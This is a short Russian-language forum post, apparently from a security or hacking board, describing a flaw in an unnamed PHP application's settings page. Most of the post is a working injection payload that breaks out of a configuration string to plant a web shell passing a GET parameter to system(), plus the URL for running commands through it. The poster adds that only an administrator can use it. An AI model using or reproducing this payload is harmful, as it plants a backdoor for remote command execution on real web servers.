16.09.2006, 16:05
|
|
.::Club Life::.
Регистрация: 28.01.2005
Сообщений: 1,205
Провел на форуме:
7426415
Репутация:
1398
|
|
2) Возможность закачать webshell. Поля настройки никак не фильтруются, вводим в любое поле:
";if ($_GET['e13']) {system($_GET['e13']);exit;}$test="
и получаем шелл по адресу
index.php?e13=команда
Воще бесполезная вигня. Если ты админ то только ты и сможешь замутить а так не как  .
|
|
|